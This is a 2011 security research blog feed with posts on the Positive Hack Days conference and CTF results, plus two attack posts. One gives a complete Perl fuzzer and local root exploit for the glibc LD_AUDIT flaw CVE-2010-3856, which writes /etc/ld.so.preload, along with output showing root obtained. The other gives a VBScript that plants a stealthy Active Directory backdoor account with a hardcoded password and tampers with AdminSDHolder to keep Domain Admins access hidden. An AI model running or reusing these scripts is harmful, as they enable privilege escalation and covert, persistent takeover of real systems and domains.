The participants discussed such topics as cybercrimes and cyberwars, security of wireless networks and remote banking systems, DDoS, WIkiLeaks and sensitive information disclosure, the Information Society program. Technical specialists took part in masterclasses of various levels conducted by distinguished experts in vulnerability detection and security analysis of various information systems. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-127307793642161184?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/05/preliminary-results-of-positive-hack.html</link><author>noreply@blogger.com (Dmitry Evteev)</author><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-1475881526654469334</guid><pubDate>Fri, 27 May 2011 16:29:00 +0000</pubDate><atom:updated>2011-05-27T09:29:01.129-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ctf</category><category domain="http://www.blogger.com/atom/ns#">phd2011</category><category domain="http://www.blogger.com/atom/ns#">phdays</category><title>The Positive Hack Days International Forum</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-XMUmgK7O5VQ/Td_OKaM92hI/AAAAAAAABPA/D0uuliQ783Q/s1600/DSC00302.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="87" src="http://1.bp.blogspot.com/-XMUmgK7O5VQ/Td_OKaM92hI/AAAAAAAABPA/D0uuliQ783Q/s400/DSC00302.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Information security specialists, who hack computer systems and mobile devices to detect and fix previously unknown vulnerabilities in popular software, demonstrated their skills by hacking Safari, SCADA and by detecting a vulnerability in iPad at the &lt;a href="http://phdays.com/"&gt;Positive Hack Days international forum&lt;/a&gt;, which took place on Thursday (19/05/2011) in Moscow.&lt;/div&gt;&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;MOSCOW, May 19th – RIA Novosti, Ivan Shadrin&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Information security specialists, who hack computer systems and mobile devices to detect and fix previously unknown vulnerabilities in popular software, demonstrated their skills by hacking Safari, SCADA and by detecting a vulnerability in iPad at the Positive Hack Days international forum, which took place on Thursday in Moscow.&lt;br /&gt;
&lt;br /&gt;
The Positive Hack Days international forum was held by &lt;a href="http://www.ptsecurity.com/"&gt;Positive Technologies&lt;/a&gt; (develops solutions to ensure corporate information security) for the first time, however the forum was able to draw the attention of information security experts from large Russian companies and from abroad. During the day, the representatives of &lt;a href="http://www.kaspersky.com/"&gt;Kaspersky Lab&lt;/a&gt;, &lt;a href="http://group-ib.com/"&gt;Group-IB&lt;/a&gt;, &lt;a href="http://www.vimpelcom.com/"&gt;VimpelCom&lt;/a&gt;, &lt;a href="http://www.rt.ru/en/"&gt;Rostelecom&lt;/a&gt;, &lt;a href="http://www.rshb.ru/en/"&gt;Russian Argicultural Bank&lt;/a&gt; and other companies and organizations, including Federal Service for Technical and Export Control, conducted their reports, business seminars, and masterclasses at the forum sites.&lt;br /&gt;
&lt;br /&gt;
Along with reports, various hacking contests were conducted in the framework of the forum. As part of the &lt;a href="http://phdays.com/contests.asp#5"&gt;hack2own&lt;/a&gt; contest, &lt;a href="http://cisscompany.com/"&gt;CISSRT&lt;/a&gt; information security specialists demonstrated that the latest version of the Safari Internet browser for Windows contained a zero day vulnerability (a vulnerability that was not known by information security specialists before) and exploited it to run an application, thus demonstrating a security flaw in the popular browser and winning a laptop, on which the vulnerable Safari was installed.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Resistent iPad&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The same participants tried to &lt;a href="http://phdays.com/contests.asp#4"&gt;hack the iPad tablet&lt;/a&gt; computer by exploiting a vulnerability in a mobile version of the Safari browser, but did not succeed, since the exploit (a program for exploiting vulnerabilities in tested software) written by them, did not work stably. However, as the organizers of the contest told RIA Novosti, the CISSRT representatives proved the existence of the vulnerability in the Safari browser during the qualifying round, and failed to demonstrate it in practice, because they had not enough time before the beginning of the contest to bring the exploit to an acceptably stable condition. According to the authors of the exploit, the vulnerability allows removing and modifying any information in the iPad memory. Nevertheless, technically, in the hack2own contest the iPad withstood the hackers’ attack.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;CTF/Freestyler&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The main hacking contest of Positive Hack Days was "&lt;a href="http://phdays.com/ctf_general.asp"&gt;CTF (Capture The Flag) Freestyler&lt;/a&gt;", which is a kind of intellectual contest, popular with information security specialists in Russia and all over the world, aimed at assessing participants’ skills in attacking and protecting computer systems. The contest lasted almost all the working time of the forum: from 9 a.m. till 5 p.m. (Moscow time). &lt;a href="http://phdays.com/ctf_participants.asp"&gt;Ten teams&lt;/a&gt; took place in the contest: seven from Russia and three from abroad (USA, France, and India).&lt;br /&gt;
&lt;br /&gt;
The organizers of the contest developed contest software which imitated various real computer systems. In particular, the participants were to attack and protect virtual copies of SCADA systems, used for managing various industrial facilities.&lt;br /&gt;
&lt;br /&gt;
According to the rules of the CTF Freestyler, each team was provided a computer system at their disposal and had to protect it from other teams, at the same time conducting attacks against other teams’ systems. An attack was considered successful, if it resulted in the loss of availability of the affected system. In this case, the team that allowed a successful attack against their system, lost several contest points. The team that conducted a successful attack, on the contrary, gained contest points, but only in the case if the team managed to capture the flag in the enemy’s system. The role of the flag in the contest legend was performed by a specific source code string.&lt;br /&gt;
&lt;br /&gt;
The best protectors and attackers of computer systems proved to be the members of the USA team called "&lt;a href="http://ppp.cylab.cmu.edu/wordpress/"&gt;PPP&lt;/a&gt;", who became the first and gained the top prize of 5 thousand dollars. Second and third places were taken by the teams from &lt;a href="http://leetmore.ctf.su/"&gt;Saint Petersburg&lt;/a&gt; and &lt;a href="http://www.hackerdom.ru/NullPage"&gt;Yekaterinburg&lt;/a&gt;. Russian prize-winners were awarded 3 and 2 thousand dollars respectively. CTF Freestyler became one of the major contests among the СTF contests conducted in Russia.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Too Drunk to Hack&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
After the completion of all reports, hacking competitions and award ceremony, the organizers conducted a mock contest called Too Drunk to Hack, in which only persons of the full legal age could take part. According to the rules, contestants were to hack a copy of the phdays.ru website, which contained several vulnerabilities. In case if a contestant makes a mistake while hacking, they are to drink 50 grams of tequila.&lt;br /&gt;
&lt;br /&gt;
Eight contenders from France, USA, and Russia took part in the contest. As opposed to the "CTF Freestyler" results, in this contest Russian information security specialists were unrivalled – the winner of the Too Drunk to Hack contest was the onsec.ru chief information security expert and web security researcher &lt;a href="http://oxod.ru/"&gt;Vladimir Vorontsov&lt;/a&gt;. After 6 mistakes, he detected the vulnerabilities prepared by the organizers and hacked the copy of &lt;a href="http://phdays.com/"&gt;phdays.com&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-1475881526654469334?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/05/positive-hack-days-international-forum.html</link><author>noreply@blogger.com (Dmitry Evteev)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-XMUmgK7O5VQ/Td_OKaM92hI/AAAAAAAABPA/D0uuliQ783Q/s72-c/DSC00302.JPG" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-4629878279277615765</guid><pubDate>Tue, 19 Apr 2011 08:49:00 +0000</pubDate><atom:updated>2011-04-19T04:40:38.120-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">exploits</category><title>Fuzzing and exploitation of vulnerability CVE-2010-3856</title><description>The vulnerability “&lt;a href="http://marc.info/?l=full-disclosure&amp;amp;m=128776663124692&amp;amp;w=2"&gt;The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads&lt;/a&gt;" detected by &lt;a href="http://twitter.com/taviso"&gt;Tavis Ormandy&lt;/a&gt; at the end of 2010 force most users to patch their systems as soon as possible.&lt;br /&gt;&lt;br /&gt;An unprivileged user can run arbitrary code with highest privileges in the system using  LD_AUDIT mode in ld.so with spoofing $ORIGIN by hard-coded link and running a SUID program via file descriptor.&lt;br /&gt;&lt;br /&gt;The vulnerability description includes only several potentially unsafe libraries:&lt;br /&gt;liblftp-tasks.so.0 and libpcprofile.so. But indeed, there can be much more of them in the system.&lt;br /&gt;If your system does not include the libraries, it does not mean that your system is not vulnerable.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;The following exploitation method was published: create a backdoor file and run it with highest privileges via cron. But this method is not universal.&lt;br /&gt;&lt;br /&gt;After a short research, we create a simple fuzzer to detect all libraries in the system that can be used to compromise the system if there is a vulnerability detected by Tavis Ormandy.&lt;br /&gt;&lt;br /&gt;There is also an exploit created additionally to the fuzzer to check the exploitation results. The exploit spoofs /etc/ld.so.preload file to gain privileges. This allows attackers to gain the highest privileges in the system as soon as possible that is critical for penetration testing. See exploit is below:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use POSIX;&lt;br /&gt;$ptxt="&lt;br /&gt;&lt;br /&gt; [The GNU C library dynamic linker will dlopen arbitrary DSOs &lt;br /&gt; during setuid loads]&lt;br /&gt; [desc: Fuzz and exploit for RHEL5 / CentOS5 / Ubuntu]&lt;br /&gt;&lt;br /&gt;";&lt;br /&gt;print $ptxt;&lt;br /&gt;our $old_fh=select(STDOUT); $|=1; select($old_fh);&lt;br /&gt;# you can add your own paths to lib folder here&lt;br /&gt;@libdirs=("/lib"); &lt;br /&gt;$tempdir="/tmp/fuzz/"; # temp directory&lt;br /&gt;mkdir($tempdir);&lt;br /&gt;&lt;br /&gt;#make some ascii&lt;br /&gt;$total=0;&lt;br /&gt;foreach $libdir (@libdirs) {&lt;br /&gt; opendir(my $dir, $libdir);&lt;br /&gt; @lf = readdir($dir);&lt;br /&gt; closedir $dir;&lt;br /&gt; $total=$total+scalar(@lf)-2;&lt;br /&gt;}&lt;br /&gt;$step=ceil($total/50);&lt;br /&gt;$stepp=0;&lt;br /&gt;print "0%"." "x6 ."20%"." "x6 ."40%"." "x6 ."60%".&lt;br /&gt;      " "x6 ."80%"." "x6 ."100%\n";&lt;br /&gt;print "\[";&lt;br /&gt;foreach $libdir (@libdirs) {&lt;br /&gt; opendir(my $dir, $libdir);&lt;br /&gt; @libfiles = readdir($dir);&lt;br /&gt; closedir $dir;&lt;br /&gt; foreach $libfile (@libfiles) {&lt;br /&gt;  $stepp++;&lt;br /&gt;  if ($stepp==$step) {print ".";$stepp=0;}&lt;br /&gt;   if (($libfile ne ".") &amp;&amp; ($libfile ne "..")) {&lt;br /&gt;    @dump=`strings $libdir\/$libfile`;&lt;br /&gt;    foreach $dline (@dump) {&lt;br /&gt;     if ($dline=~/^([A-Z\_0-9]+)$/) {&lt;br /&gt;     chomp($dline);&lt;br /&gt;     $ccc=`LD_AUDIT="$libfile" $dline="$tempdir&lt;br /&gt;              $libfile-$dline" ping&amp;&gt;/dev/null`;&lt;br /&gt;     }&lt;br /&gt;    }&lt;br /&gt;   }&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;print "\]\n";&lt;br /&gt;&lt;br /&gt;print "Fuzzing done. Thank you for using!\n";&lt;br /&gt;&lt;br /&gt;opendir(my $dir, $tempdir);&lt;br /&gt;@fuzzList = readdir($dir);&lt;br /&gt;closedir $dir;&lt;br /&gt;$libToExploit="";$argToExploit="";&lt;br /&gt;if (scalar(@fuzzList)&gt;2) {&lt;br /&gt; foreach $fuzzFile (@fuzzList) {&lt;br /&gt;  if ($fuzzFile ne "." &amp;&amp; $fuzzFile ne "..") {&lt;br /&gt;   my ($lib,$param)=$fuzzFile=~/(.*)-(.*)/;&lt;br /&gt;   print "Success: vuln lib - $lib ; arg - $param\n";&lt;br /&gt;   if ((-e "$tempdir$fuzzFile") &amp;&amp; (!-d "$tempdir$fuzzFile")) {&lt;br /&gt;    $libToExploit=$lib;&lt;br /&gt;    $argToExploit=$param;&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;} else {&lt;br /&gt; print "Fail. No vuln libs found. Try another target ;)\n";&lt;br /&gt; exit();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$shCode=qq(#!/bin/sh&lt;br /&gt;umask 0&lt;br /&gt;LD_AUDIT=EXP_LIBRARY EXP_ARGUMENT=/etc/ld.so.preload ping&lt;br /&gt;echo "[+] creating /tmp/getuid.so"&lt;br /&gt;echo "int getuid(){return 0;}" &gt; /tmp/getuid.c&lt;br /&gt;gcc -shared /tmp/getuid.c -o /tmp/getuid.so&lt;br /&gt;echo "/tmp/getuid.so" &gt; /etc/ld.so.preload&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;if ($libToExploit ne "" &amp;&amp; $argToExploit ne "") {&lt;br /&gt; $shCode=~s/EXP_LIBRARY/$libToExploit/gi;&lt;br /&gt; $shCode=~s/EXP_ARGUMENT/$argToExploit/gi;&lt;br /&gt; open(SH,"&gt;spl.sh");&lt;br /&gt; print SH $shCode;&lt;br /&gt; close(SH);&lt;br /&gt; chmod(0755,"spl.sh");&lt;br /&gt; system("./spl.sh");&lt;br /&gt; print "Hehe.. Type 'su' and be awesome!\n";&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Example of usage:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;dummy@bt:~$ perl spl.pl&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; [The GNU C library dynamic linker will dlopen arbitrary &lt;br /&gt; DSOs during setuid loads]&lt;br /&gt; [desc: Fuzz and exploit for RHEL5 / CentOS5 / Ubuntu]&lt;br /&gt;&lt;br /&gt;0%      20%      40%      60%      80%      100%&lt;br /&gt;[......................................]&lt;br /&gt;Fuzzing done. Thank you for using!&lt;br /&gt;Success: vuln lib - libpcprofile.so ; arg - PCPROFILE_OUTPUT&lt;br /&gt;Success: vuln lib - libmemusage.so ; arg - MEMUSAGE_OUTPUT&lt;br /&gt;&lt;br /&gt;Memory usage summary: heap total: 0, heap peak: 0, stack peak: 0&lt;br /&gt;         total calls   total memory   failed calls&lt;br /&gt; malloc|          0              0              0&lt;br /&gt;realloc|          0              0              0  &lt;br /&gt;(nomove:0, dec:0, free:0)&lt;br /&gt; calloc|          0              0              0&lt;br /&gt;   free|          0              0&lt;br /&gt;Histogram for block sizes:&lt;br /&gt;ERROR: ld.so: object 'libmemusage.so' cannot be loaded as &lt;br /&gt;audit interface: undefined symbol: la_version; ignored.&lt;br /&gt;Usage: &lt;br /&gt;ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]&lt;br /&gt;   [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]&lt;br /&gt;   [-M mtu discovery hint] [-S sndbuf]&lt;br /&gt;   [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination&lt;br /&gt;[+] creating /tmp/getuid.so&lt;br /&gt;Hehe.. Type 'su' and be awesome!&lt;br /&gt;dummy@bt:~$ id&lt;br /&gt;uid=0(root) gid=1001(dummy) euid=1001(dummy) groups=1001(dummy)&lt;br /&gt;dummy@bt:~$ su&lt;br /&gt;root@bt:/home/dummy# exit&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-4629878279277615765?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/04/fuzzing-and-exploitation-of.html</link><author>noreply@blogger.com (Yuri)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-8462217831332172038</guid><pubDate>Wed, 13 Apr 2011 16:06:00 +0000</pubDate><atom:updated>2011-04-13T10:37:48.878-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">conference</category><category domain="http://www.blogger.com/atom/ns#">phdays</category><category domain="http://www.blogger.com/atom/ns#">events</category><title>Positive Hack Days 2011</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;a href="http://3.bp.blogspot.com/-0_JHuXj94CA/TZNiwLjIXLI/AAAAAAAABLM/2RoQwtddSuc/s1600/PHD_logo_rgb_200px.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="71" src="http://3.bp.blogspot.com/-0_JHuXj94CA/TZNiwLjIXLI/AAAAAAAABLM/2RoQwtddSuc/s200/PHD_logo_rgb_200px.png" width="170" /&gt;&lt;/a&gt;The &lt;a href="http://www.ptsecurity.com/"&gt;Positive Technologies&lt;/a&gt; company carries out a unique event - the &lt;a href="http://phdays.com/eng/"&gt;Positive Hack Days&lt;/a&gt; conference, which is devoted to practical security problems and represents a place to exchange views, to gain knowledge and to obtain contacts and practical skills.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;The conference subjects&lt;/b&gt; were developed with a special accent on the practical sides of urgent information security issues. The main themes of the conference are: web application security, protection of cloud computing and virtual infrastructure, counteraction to 0-day attacks, investigation of incidents, protection from DDoS, fraud resistance, SCADA security, and protection of business applications and ERP.&lt;br /&gt;
&lt;br /&gt;
Within the bounds of the conference, the following activities will take place:&lt;br /&gt;
&lt;br /&gt;
- &lt;b&gt;&lt;a href="http://phdays.com/eng/program-business.asp"&gt;Business program&lt;/a&gt;&lt;/b&gt; with reports from the leading domestic and foreign experts.&lt;br /&gt;
- &lt;b&gt;&lt;a href="http://phdays.com/eng/program-tech.asp"&gt;Round tables&lt;/a&gt;&lt;/b&gt;, both closed and open types, which allow you to discuss complex and even delicate issues of information security with colleagues.&lt;br /&gt;
- &lt;b&gt;&lt;a href="http://phdays.com/eng/master-classes.asp"&gt;Master classes&lt;/a&gt;&lt;/b&gt; conducted by practitioner experts, which allow you to gain practical experience in solving complicated information security problems, such as vulnerability detection, analysis of break-in consequences, and analysis of instruments used to conduct attacks.&lt;br /&gt;
- &lt;b&gt;&lt;a href="http://phdays.com/eng/contests.asp"&gt;Breaking-in contests&lt;/a&gt;&lt;/b&gt;, which allow anyone to try him/herself in breaking-in iPhones, cell phones, browsers, and protection mechanisms.&lt;br /&gt;
- &lt;b&gt;&lt;a href="http://phdays.com/eng/ctf_general.asp"&gt;PHD CTF 2011 competition&lt;/a&gt;&lt;/b&gt;, which is an open information security team competition organized according to the Capture the Flag rules; within the bounds of this competition, teams will protect their networks and attack the networks of contestants for 8 hours.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;The conference program&lt;/b&gt; is addressed to a wide circle of information security specialists, and everyone will find something interesting in it.&lt;br /&gt;
&lt;br /&gt;
- &lt;b&gt;Directors, CISOs и CIOs&lt;/b&gt; will be able to estimate modern threats in practice, maintain their skills, and discuss information security problems with colleagues.&lt;br /&gt;
- &lt;b&gt;Information security specialists&lt;/b&gt; will gain a lot of new and urgent information and will have an opportunity to improve their practical skills in solving a wide variety of information security issues.&lt;br /&gt;
- &lt;b&gt;Vendors of security tools and systems&lt;/b&gt; will be able to estimate the efficiency of their solutions in practice by introducing them into the CTF competition tasks.&lt;br /&gt;
- &lt;b&gt;Companies providing services in the field of information security&lt;/b&gt; can become sponsors and get professional employees involved.&lt;br /&gt;
- &lt;b&gt;All participants&lt;/b&gt; will have a unique opportunity to find themselves on the other side of the barricade and to take part in practical master classes and information security contests.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;We will be glad to see you at the Positive Hack Days conference!&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-8462217831332172038?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/04/positive-hack-days-2011.html</link><author>noreply@blogger.com (Dmitry Evteev)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-0_JHuXj94CA/TZNiwLjIXLI/AAAAAAAABLM/2RoQwtddSuc/s72-c/PHD_logo_rgb_200px.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-5608171403695733708</guid><pubDate>Tue, 05 Apr 2011 14:41:00 +0000</pubDate><atom:updated>2011-04-05T07:49:24.178-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">Microsoft</category><title>Backdoor in Active Directory</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Less than a year ago, there was a publication on &lt;a href="http://habrahabr.ru/"&gt;habrahabr.ru&lt;/a&gt; with similar title [&lt;a href="http://habrahabr.ru/blogs/infosecurity/90990/"&gt;1&lt;/a&gt;]. Its author proposed a way how to hide domain administrator privileges using "Program data" system storage as a container for the "hidden" account with access limitations to prevent access to the account. But, despite author words, you can easily detect the "hidden" account and delete it with a couple of mouse clicks [&lt;a href="http://habrahabr.ru/blogs/infosecurity/114600/"&gt;2&lt;/a&gt;].&lt;br /&gt;
&lt;br /&gt;
It means that this method does not work in practice. But is there more appropriate method (including without rootkits on domain controllers))?&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
As it is said in a famous detective novel:&lt;br /&gt;
- Where is the best place to hide a leaf?&lt;br /&gt;
- In the autumn forest!&lt;br /&gt;
- Where is the best place to hide a stone?&lt;br /&gt;
- On the seashore!&lt;br /&gt;
- Where is the best place to hide a dead body?&lt;br /&gt;
- On the battle field.&lt;br /&gt;
&lt;br /&gt;
Similar to domain folder, we will take after the following strategy:&lt;br /&gt;
&lt;br /&gt;
- You should not hide backdoor identifier, just store it in the same container with a great number of other user identifiers.&lt;br /&gt;
&lt;br /&gt;
- backdoor identifier should not be directly a member of any group with high privileges in domain. It is better to use access control as it is shown below.&lt;br /&gt;
&lt;br /&gt;
- It is not reasonable to insert back door user identifiers even in ACLs of privileged domain groups. It is more correct to extend security group privileges that are already members of ACLs for privileged domain groups. You can use "Builtin\Terminal Server License Servers" group.&lt;br /&gt;
&lt;br /&gt;
So, to create backdoor effectively using the script, you should:&lt;br /&gt;
&lt;br /&gt;
1. Create a plain user;&lt;br /&gt;
2. Allow the user to change members in "Builtin\Terminal Server License Servers" user group;&lt;br /&gt;
3. Allow the group "Builtin\Terminal Server License Servers" to change members in another group, for example, "Domain Admins".&lt;br /&gt;
&lt;br /&gt;
Here we should note that it’s impossible just to change ACL for "Domain Admins" group. Active Directory architecture provides protection for ACLs of the most sensitive objects (adminSDHolder, [&lt;a href="http://support.microsoft.com/kb/318180"&gt;3&lt;/a&gt;]), such as:&lt;br /&gt;
&lt;br /&gt;
- Enterprise Admins&lt;br /&gt;
- Schema Admins&lt;br /&gt;
- Domain Admins&lt;br /&gt;
- Administrators&lt;br /&gt;
- Domain Controllers&lt;br /&gt;
- Cert Publishers&lt;br /&gt;
- Backup Operators&lt;br /&gt;
- Replicator Server Operators&lt;br /&gt;
- Account Operators&lt;br /&gt;
- Print Operators&lt;br /&gt;
&lt;br /&gt;
If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System, &lt;defaultnamingcontext&gt;", or set "adminCount" attribute to 0 for the required object [3]. Overwriting the ACL template is more promising, as not every administrator knows this "protection" mechanism in Active Directory.&lt;br /&gt;
&lt;br /&gt;
Use can use the following script to automate in Active Directory.&lt;br /&gt;
&lt;br /&gt;
On Error Resume Next&lt;br /&gt;
&lt;br /&gt;
username = "PT"&lt;br /&gt;
password = "P@ssw0rd"&lt;br /&gt;
userDN = "cn=Users"&lt;br /&gt;
&lt;br /&gt;
joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"&lt;br /&gt;
joinGroup = "BUILTIN\Terminal Server License Servers"&lt;br /&gt;
&lt;br /&gt;
adminsGroup = "CN=Domain Admins,CN=Users"&lt;br /&gt;
&lt;br /&gt;
Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN&lt;br /&gt;
Set objSysInfo = CreateObject("ADSystemInfo")&lt;br /&gt;
strUserDN = objSysInfo.userName&lt;br /&gt;
Set objUser = GetObject("LDAP://" &amp;amp; strUserDN)&lt;br /&gt;
&lt;br /&gt;
Set objRoot = GetObject("LDAP://rootDSE")&lt;br /&gt;
Set objContainer = GetObject("LDAP://" &amp;amp; userDN &amp;amp; "," &amp;amp; objRoot.Get("defaultNamingContext")) &lt;br /&gt;
&lt;br /&gt;
Set objUserCreate = objContainer.Create("User", "cn=" &amp;amp; username)&lt;br /&gt;
objUserCreate.Put "sAMAccountName", username&lt;br /&gt;
objUserCreate.SetInfo&lt;br /&gt;
On Error Resume Next&lt;br /&gt;
&lt;br /&gt;
objUserCreate.SetPassword password&lt;br /&gt;
objUserCreate.Put "userAccountControl", 66048&lt;br /&gt;
objUserCreate.SetInfo&lt;br /&gt;
On Error Resume Next&lt;br /&gt;
&lt;br /&gt;
GroupAddAce joinGroupDN,username&lt;br /&gt;
GroupAddAce adminsGroup,joinGroup&lt;br /&gt;
GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup&lt;br /&gt;
&lt;br /&gt;
Function GroupAddAce(toGroup,forGroup)&lt;br /&gt;
Dim objSdUtil, objSD, objDACL, objAce&lt;br /&gt;
Set objGroup = GetObject ("LDAP://" &amp;amp; toGroup &amp;amp; "," &amp;amp; objRoot.Get("defaultNamingContext")) &lt;br /&gt;
&lt;br /&gt;
Set objSdUtil = GetObject(objGroup.ADsPath)&lt;br /&gt;
Set objSD = objSdUtil.Get("ntSecurityDescriptor")&lt;br /&gt;
Set objDACL = objSD.DiscretionaryACL&lt;br /&gt;
Set objAce = CreateObject("AccessControlEntry")&lt;br /&gt;
&lt;br /&gt;
objAce.Trustee = forGroup&lt;br /&gt;
objAce.AceFlags = 0&lt;br /&gt;
objAce.AceType = 5&lt;br /&gt;
objAce.AccessMask = 32&lt;br /&gt;
objAce.Flags = 1&lt;br /&gt;
objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"&lt;br /&gt;
objDacl.AddAce objAce&lt;br /&gt;
&lt;br /&gt;
objSD.DiscretionaryAcl = objDacl&lt;br /&gt;
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)&lt;br /&gt;
objSDUtil.SetInfo&lt;br /&gt;
&lt;br /&gt;
End Function&lt;br /&gt;
&lt;br /&gt;
I just want to add that, in spite of its simplicity, it is rather difficult to detect such a tab without continuous automatic monitoring. And following the idea, you can easily imaging more complex tabs, for example, allow users to manage group policies for OU with domain controllers, etc.&lt;br /&gt;
&lt;/defaultnamingcontext&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-5608171403695733708?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/04/backdoor-in-active-directory.html</link><author>noreply@blogger.com (Dmitry Evteev)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-2887567392732808183</guid><pubDate>Fri, 01 Apr 2011 23:32:00 +0000</pubDate><atom:updated>2011-04-01T16:32:20.855-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Path Traversal</category><category domain="http://www.blogger.com/atom/ns#">client-side</category><category domain="http://www.blogger.com/atom/ns#">hackquest</category><category domain="http://www.blogger.com/atom/ns#">File Including</category><category domain="http://www.blogger.com/atom/ns#">server-side</category><category domain="http://www.blogger.com/atom/ns#">Command Execution</category><category domain="http://www.blogger.com/atom/ns#">reverse engineering</category><category domain="http://www.blogger.com/atom/ns#">SQL-Injection</category><category domain="http://www.blogger.com/atom/ns#">Cross-Site Scripting</category><category domain="http://www.blogger.com/atom/ns#">blackbox</category><category domain="http://www.blogger.com/atom/ns#">Cisco</category><category domain="http://www.blogger.com/atom/ns#">web security</category><title>Complete Guide to HackQuest 2010</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;This work contains the description of an algorithm to pass most stages of HackQuest 2010, which was held at the end of August within the scope of the &lt;a href="http://party10.cc.org.ru/"&gt;Chaos Constructions 2010&lt;/a&gt; festival and was available &lt;a href="http://www.securitylab.ru/news/402736.php"&gt;on-line&lt;/a&gt; in a shorter form in the end of 2010 on the basis of the &lt;a href="http://www.securitylab.ru/"&gt;SecurityLab&lt;/a&gt; portal.&lt;br /&gt;
&lt;br /&gt;
Dmitry Evteev (&lt;a href="http://www.ptsecurity.com/"&gt;Positive Technologies&lt;/a&gt;); &lt;a href="http://devteev.blogspot.com/"&gt;http://devteev.blogspot.com/&lt;/a&gt;&lt;br /&gt;
Sergey Rublev (&lt;a href="http://www.ptsecurity.com/"&gt;Positive Technologies&lt;/a&gt;); &lt;a href="http://ptresearch.blogspot.com/"&gt;http://ptresearch.blogspot.com/&lt;/a&gt;&lt;br /&gt;
Alexander Matrosov (&lt;a href="http://www.eset.com/"&gt;ESET&lt;/a&gt;); &lt;a href="http://amatrosov.blogspot.com/"&gt;http://amatrosov.blogspot.com/&lt;/a&gt;&lt;br /&gt;
